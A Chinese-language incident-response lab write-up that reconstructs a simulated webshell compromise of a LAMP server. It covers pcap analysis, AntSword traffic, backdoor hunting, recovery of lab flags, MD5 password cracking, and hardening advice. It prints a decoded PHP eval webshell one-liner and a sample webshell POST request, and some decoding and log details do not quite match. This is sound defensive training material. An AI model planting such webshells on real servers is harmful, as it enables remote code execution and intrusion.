1. 靶场环境与背景介绍
这个Linux应急响应靶机环境模拟了一个真实的Web服务器被入侵场景。攻击者通过Web应用漏洞上传了Webshell,并在系统中留下了多个后门和隐藏文件。作为安全运维人员,我们需要通过日志分析、流量分析和系统取证等技术手段,还原攻击路径并收集所有攻击证据。
靶机运行在VMware虚拟化环境中,采用典型的LAMP(Linux+Apache+MySQL+PHP)架构。系统预装了宝塔面板用于管理,同时运行着多个Web服务和应用。攻击者已经成功入侵系统并进行了横向移动,我们需要通过技术手段找出以下关键信息:
- 攻击者使用的IP地址
- 攻击者修改的管理员账户密码
- Webshell连接URL和密码
- 攻击者上传的木马文件
- 隐藏在系统中的多个flag
2. 攻击IP定位与分析
2.1 流量包初步分析
首先我们分析靶机提供的网络流量包。使用Wireshark打开pcap文件后,通过"统计"→"IPv4"→"All address"查看所有IP通信情况:
bash复制# 统计IP出现频率的等效命令行
tshark -r attack.pcap -T fields -e ip.src | sort | uniq -c | sort -nr
发现两个异常活跃的IP:
- 192.168.20.1(大量POST请求)
- 192.168.20.144(响应请求)
2.2 攻击行为确认
通过过滤HTTP流量确认攻击行为:
wireshark复制http and ip.src==192.168.20.1
分析发现192.168.20.1向目标发送了大量包含恶意代码的POST请求,典型的Webshell连接行为。而192.168.20.144只是正常响应请求,因此确认攻击者IP为192.168.20.1。
注意:在实际应急中,攻击者常使用代理或跳板机,需要结合时间戳、行为模式等多维度确认。
3. Webshell连接信息取证
3.1 蚁剑特征分析
在流量包中搜索特定关键字:
wireshark复制frame contains "antsword" || frame contains "eval"
发现攻击者使用蚁剑(AntSword)连接Webshell的明显特征:
- 请求路径:/index.php?user-app-register
- 连接密码:Network2020
- 典型base64编码的PHP执行代码
3.2 Webshell流量解码
蚁剑流量通常采用以下格式:
code复制POST /index.php?user-app-register HTTP/1.1
...
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
_0x1234=PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=
其中_0x1234参数值为base64编码的PHP代码,需要去除前两位混淆字符后解码:
bash复制echo "PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=" | base64 -d
# 输出:<?php eval($_POST['1']);?>
4. 攻击者上传的木马分析
4.1 木马文件追踪
通过流量分析发现攻击者上传了多个文件:
wireshark复制http.request.method == "POST" && http.content_type contains "multipart/form-data"
关键文件:
- shell.php - 初始Webshell
- version2.php - 持久化后门
4.2 服务器端验证
在靶机上搜索可疑文件:
bash复制find / -name "*.php" -mtime -1 2>/dev/null
# 检查最近修改的PHP文件
grep -r "eval(" /var/www 2>/dev/null
# 查找包含危险函数的文件
虽然攻击者清除了部分痕迹,但在流量中确认version2.php是主要的持久化后门。
5. 隐藏Flag的查找技巧
5.1 Flag1 - 流量中的明文flag
直接在流量包中搜索flag关键字:
wireshark复制frame contains "flag"
发现flag1{Network@_2020_Hack}明文传输。
5.2 Flag2 - 隐藏文件分析
通过历史命令发现可疑操作:
bash复制history | grep "flag"
发现攻击者在/www/wwwroot/127.0.0.1/.api/alinotify.php文件中隐藏了flag2:
php复制// 文件末尾添加的flag
$flag = "flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}";
5.3 Flag3 - 环境变量隐藏
检查异常环境变量:
bash复制printenv | grep "flag"
发现flag3被设置在环境变量中:
code复制flag=5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ
6. 管理员密码破解实战
6.1 数据库访问路径
通过日志分析发现phpmyadmin访问记录:
bash复制grep "phpmyadmin" /var/log/nginx/access.log
6.2 宝塔面板利用
发现12485端口运行宝塔面板:
bash复制netstat -tulnp | grep 12485
重置宝塔密码后登录:
bash复制bt
# 选择5修改密码
6.3 数据库密码提取
通过宝塔访问MySQL,在x2_user表中发现管理员peadmin的MD5哈希:
code复制f6f6eb5ace977d7e114377cc7098b7e3
使用在线工具破解得到明文密码:Network@2020
7. 攻击路径完整还原
- 初始入侵:利用PHPEMS框架弱口令(peadmin:peadmin)登录后台
- 漏洞利用:通过文件上传功能植入shell.php
- 持久化:上传version2.php作为持久化后门
- 权限提升:修改数据库管理员密码
- 痕迹清除:删除部分日志和上传文件
8. 防御建议与加固措施
-
密码策略:
- 禁用默认密码和弱口令
- 启用密码复杂度要求
- 定期轮换关键系统密码
-
Web应用防护:
nginx复制# Nginx防护配置示例 location ~* \.php$ { deny all; } location = /index.php { allow all; } -
系统监控:
bash复制# 监控敏感目录文件变化 auditctl -w /var/www/ -p wa -k web_content -
应急响应准备:
- 保留完整的系统镜像
- 记录所有取证步骤和时间戳
- 使用专业工具如Autopsy进行深度分析
在实际工作中,这类应急响应需要结合多种技术手段交叉验证。建议安全团队定期进行红蓝对抗演练,提高实战能力。